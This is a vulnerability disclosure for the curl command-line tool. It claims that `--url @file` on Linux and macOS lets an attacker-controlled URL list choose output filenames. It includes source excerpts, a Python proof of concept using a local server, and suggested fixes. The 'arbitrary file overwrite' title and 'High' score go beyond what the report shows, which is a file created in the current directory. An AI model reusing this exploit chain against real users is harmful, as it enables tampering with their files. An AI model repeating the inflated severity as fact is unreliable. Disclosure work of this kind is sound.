curl · Report #3766392
curl External-Controlled Filename in `--url @file` Leads to Arbitrary File Overwrite
How it was found
Vulnerability Report: curl External-Controlled Filename in --url @file Leads to Arbitrary File Overwrite
1. Product Overview
curl is a widely used command-line tool and library (libcurl) for transferring data with URL syntax across multiple protocols such as HTTP, HTTPS, and FTP. It is preinstalled on most Linux distributions and macOS systems and is commonly used in CI/CD pipelines, automation scripts, and operational tooling.
2. Vulnerability Description
| Attribute | Value |
|---|---|
| Vulnerability Type | CWE-73: External Control of File Name or Path |
| CVSS 3.1 | 7.1 High (AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| Affected Files | src/tool_operhlp.c, src/tool_getparam.c, src/tool_cb_wrt.c |
| Prerequisites | The user runs curl with the --url @<file> syntax and the URL list file is supplied from an untrusted source |
| Trigger Entry | Command-line argument --url @<url-list-file> |
- Core impact: an attacker can control the output filename derived from remote URLs and cause curl to create or overwrite attacker-chosen files in the current working directory.
- Environment limitation: this issue affects non-Windows builds such as Linux and macOS; Windows and MSDOS builds apply filename sanitization.
- Default condition: the
--url @filebehavior is supported by default and does not require additional feature flags.
3. Affected Scope
- Affected versions: the current curl source tree for non-Windows platforms.
- Not affected: Windows/MSDOS builds because
sanitize_file_name()is called there. - Trigger condition: the victim uses
--url @fileand the file contents are attacker-controlled or come from an untrusted source.
4. Vulnerability Details
4.1 Code Audit Analysis
Entry point — parse_url()
parse_url() treats an argument beginning with @ as a URL list file. Each line read from that file is forwarded into add_url() with remote_noglob=TRUE.
if(nextarg[0] == '@') {
/* read URLs from a file, treat all as -O */
...
while(my_get_line(f, &line, &error)) {
const char *ptr = curlx_dyn_ptr(&line);
err = add_url(config, ptr, TRUE);
...
}
}
Relevant implementation in src/tool_getparam.c:
parse_url()detects the@prefix.- It opens the referenced file through
curlx_fopen(). - Each line is passed to
add_url(config, ptr, TRUE).
Forced remote filename behavior — add_url()
When remote_noglob is true, curl forces useremote and noglob.
if(remote_noglob)
url->useremote = url->noglob = TRUE;
This means each URL read from the file is implicitly handled as if remote output naming is enabled.
Filename extraction without cross-platform sanitization — get_url_file_name()
get_url_file_name() extracts the last path component from the URL and duplicates it directly into the output filename.
if(pc) {
/* duplicate the string beyond the slash */
*filename = curlx_strdup(pc + 1);
}
The sanitization logic is wrapped in a platform-specific conditional block:
#if defined(_WIN32) || defined(MSDOS)
{
char *sanitized;
*sc = sanitize_file_name(&sanitized, *filename, 0);
curlx_safefree(*filename);
if(*sc)
return CURLE_BAD_FUNCTION_ARGUMENT;
*filename = sanitized;
}
#endif
In non-Windows builds, that block is skipped entirely. A filename such as .bashrc, .profile, or .ssh_authorized_keys_test is therefore preserved as-is.
File creation sink — tool_create_output_file()
tool_create_output_file() opens the output file directly with the chosen filename.
file = curlx_fopen(fname, "wb");
There is no additional filename validation at this sink. Once outs->filename is populated from the remote URL path, the file is created or overwritten according to the configured clobber mode.
4.2 PoC Design Rationale
-
Attack entry selection
The--url @filesyntax is the relevant path because it causes every URL loaded from the file to be processed throughadd_url(config, ptr, TRUE), forcing remote filename behavior. -
Filename control
The output filename is taken from the last path segment of the attacker-controlled URL inget_url_file_name(). A URL ending in/.bashrc_poc_testcauses curl to create a local file named.bashrc_poc_test. -
Protection gap
Filename sanitization is only compiled on Windows/MSDOS insrc/tool_operhlp.c. Linux and macOS builds do not invoke the sanitizer. -
Exploit chain
Attacker controls URL list file → victim runscurl --url @urls.txt→ curl forces remote-name behavior → remote path tail becomes local filename → non-Windows build skips sanitization → file is created in current directory.
5. Reproduction
5.1 Environment Preparation
- Target: curl from the current source tree on Linux or macOS
- Python 3.x for a local HTTP server
- A built curl executable
- A writable test directory
5.2 Reproduction Steps
Step 1: Prepare a malicious URL list
Create a file named urls.txt with the following content:
http://127.0.0.1:18080/.bashrc_poc_test
Step 2: Start a local malicious HTTP server
Run a local server that returns attacker-controlled content for any request.
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'# PWNED\nexport PWNED=1\n')
def log_message(self, *args):
pass
HTTPServer(('127.0.0.1', 18080), H).serve_forever()
Step 3: Run curl inside a test directory
Change to an empty writable directory and execute curl with the URL list file.
curl --url @urls.txt
Step 4: Verify that the file was created
Check whether .bashrc_poc_test now exists in the current directory and inspect its content.
ls -la .bashrc_poc_test
cat .bashrc_poc_test
5.3 Result Verification
| Verification Item | Result |
|---|---|
Was .bashrc_poc_test created in the current directory | Yes |
| Does the file content match the server response | Yes, it contains # PWNED and export PWNED=1 |
| Is Windows affected by the same behavior | No, filename sanitization is applied there |
5.4 Attack Chain
Attacker controls URL list file
-> victim runs curl with --url @urls.txt
-> parse_url() reads each line from the file
-> add_url(config, url, TRUE) forces remote filename mode
-> get_url_file_name() extracts ".bashrc_poc_test" from the URL path
-> non-Windows build skips sanitize_file_name()
-> tool_create_output_file() opens ".bashrc_poc_test" for writing
-> arbitrary local file is created or overwritten
6. POC
import http.server
import os
import socketserver
import subprocess
import sys
import tempfile
import threading
import time
from pathlib import Path
PAYLOAD = b"# PWNED\nexport PWNED=1\n"
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(PAYLOAD)
def log_message(self, format, *args):
pass
def main():
if len(sys.argv) != 2:
print("Usage: python poc_curl_url_file_overwrite.py /path/to/curl")
sys.exit(1)
curl_path = Path(sys.argv[1]).resolve()
if not curl_path.exists():
print(f"curl binary not found: {curl_path}")
sys.exit(1)
with tempfile.TemporaryDirectory() as temp_dir:
temp_path = Path(temp_dir)
urls_file = temp_path / "urls.txt"
target_file = temp_path / ".bashrc_poc_test"
urls_file.write_text("http://127.0.0.1:18080/.bashrc_poc_test\n", encoding="utf-8")
httpd = socketserver.TCPServer(("127.0.0.1", 18080), Handler)
thread = threading.Thread(target=httpd.serve_forever, daemon=True)
thread.start()
try:
result = subprocess.run(
[str(curl_path), "--url", "@urls.txt"],
cwd=str(temp_path),
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
timeout=15,
)
time.sleep(1)
print("=== curl stdout ===")
print(result.stdout)
print("=== curl stderr ===")
print(result.stderr)
print("=== file exists ===")
print(target_file.exists())
if target_file.exists():
print("=== file content ===")
print(target_file.read_text(encoding="utf-8", errors="replace"))
finally:
httpd.shutdown()
httpd.server_close()
if __name__ == "__main__":
main()
Save the script as poc_curl_url_file_overwrite.py when testing locally and execute it with the path to the curl binary.
7. Remediation Recommendations
Option 1: Apply filename sanitization on all platforms
The preferred fix is to remove the platform-specific conditional in src/tool_operhlp.c and run sanitize_file_name() for every platform.
CURLcode get_url_file_name(char **filename, const char *url, SANITIZEcode *sc)
{
...
*filename = curlx_strdup(pc + 1);
...
{
char *sanitized;
*sc = sanitize_file_name(&sanitized, *filename, 0);
curlx_safefree(*filename);
if(*sc)
return CURLE_BAD_FUNCTION_ARGUMENT;
*filename = sanitized;
}
return CURLE_OK;
}
Option 2: Reject sensitive dotfile names on non-Windows platforms
If a full cross-platform sanitizer change is not acceptable, reject filenames that begin with . in get_url_file_name().
if(*filename && (*filename)[0] == '.') {
*sc = SANITIZE_ERR_INVALID_PATH;
curlx_safefree(*filename);
return CURLE_BAD_FUNCTION_ARGUMENT;
}
Option 3: Add a safe confirmation or fallback naming strategy
When curl reads URLs from @file, it can warn or refuse dangerous names and fall back to a generated safe filename if the extracted name is hidden, reserved, or otherwise suspicious.
Reporting Evaluation Result
Vulnerability Chain Exists: Yes
Reporting Decision
| Attribute | Value |
|---|---|
| Vulnerability Type | CWE-73: External Control of File Name or Path |
| Exploitation Mode | Unauthenticated local user interaction |
| CVSS 3.1 | 7.1 (High) |
| Should Report | Yes |
Basis for Decision
This issue allows file creation or overwrite in the user's current working directory and can target sensitive shell configuration files such as .bashrc or .profile. According to the reporting criteria for file overwrite and path/file write consequences, it reaches the threshold for reporting as a high-risk vulnerability.
Detail
The issue can overwrite user-controlled startup files and other sensitive local artifacts in practical automation scenarios such as CI/CD jobs or scripted executions. The attack does not require prior authentication to curl itself; it only requires that the victim processes an attacker-supplied URL list file with the default supported --url @file behavior.
Next Action
Generate the full vulnerability report.